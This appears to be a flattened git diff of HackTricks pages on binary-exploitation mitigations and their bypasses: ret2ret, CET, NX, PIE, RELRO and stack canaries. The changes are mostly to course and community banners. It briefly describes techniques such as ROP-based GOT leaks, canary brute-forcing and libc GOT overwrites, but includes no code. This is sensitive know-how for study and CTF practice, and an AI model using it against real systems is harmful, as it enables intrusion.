* 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. * 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md
View file

@ -1,18 +1,19 @@
# Ret2ret & Reo2pop # Ret2ret & Reo2pop
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Ret2ret ## Ret2ret
@ -42,16 +43,17 @@ Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overf
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md
View file

@ -1,18 +1,19 @@
# CET & Shadow Stack # CET & Shadow Stack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Control Flow Enforcement Technology (CET) ## Control Flow Enforcement Technology (CET)
@ -34,16 +35,17 @@ The **shadow stack** is a **dedicated stack used solely for storing return addre
* **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary. * **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary.
* The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding. * The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding.
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}

30
binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
View file

@ -1,18 +1,19 @@
# Libc Protections # Libc Protections
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## Chunk Alignment Enforcement ## Chunk Alignment Enforcement
@ -94,16 +95,17 @@ Pointer guard is an exploit mitigation technique used in glibc to protect stored
* [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088) * [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
* [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1) * [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}

30
binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
View file

@ -1,18 +1,19 @@
# Memory Tagging Extension (MTE) # Memory Tagging Extension (MTE)
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -93,16 +94,17 @@ When a **mismatch is detected** the kernel will **panic** to prevent further exp
* [https://www.youtube.com/watch?v=UwMt0e\_dC\_Q](https://www.youtube.com/watch?v=UwMt0e\_dC\_Q) * [https://www.youtube.com/watch?v=UwMt0e\_dC\_Q](https://www.youtube.com/watch?v=UwMt0e\_dC\_Q)
{% hint style="success" %}
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<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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</details> </details>
{% endhint %}

30
binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
View file

@ -1,18 +1,19 @@
# No-exec / NX # No-exec / NX
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -25,16 +26,17 @@ The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel ter
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) * [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
* **Ret2...** * **Ret2...**
{% hint style="success" %}
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
View file

@ -1,18 +1,19 @@
# PIE # PIE
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -41,16 +42,17 @@ In order to bypass PIE it's needed to **leak some address of the loaded** binary
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) * [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
View file

@ -1,18 +1,19 @@
# BF Addresses in the Stack # BF Addresses in the Stack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** **If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
@ -107,16 +108,17 @@ According to [**some observation from this post**](https://github.com/florianhof
According to that blog post it's recommended to add a short delay between requests to the server is introduced. According to that blog post it's recommended to add a short delay between requests to the server is introduced.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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</details> </details>
{% endhint %}

30
binary-exploitation/common-binary-protections-and-bypasses/relro.md
View file

@ -1,18 +1,19 @@
# Relro # Relro
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Relro ## Relro
@ -42,16 +43,17 @@ If Full RELRO is enabled, the only way to bypass it is to find another way that
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
View file

@ -1,18 +1,19 @@
# Stack Canaries # Stack Canaries
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## **StackGuard and StackShield** ## **StackGuard and StackShield**
@ -86,16 +87,17 @@ This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) * [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) * [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

15
binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
View file

@ -1,18 +1,19 @@
# BF Forked & Threaded Stack Canaries # BF Forked & Threaded Stack Canaries
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
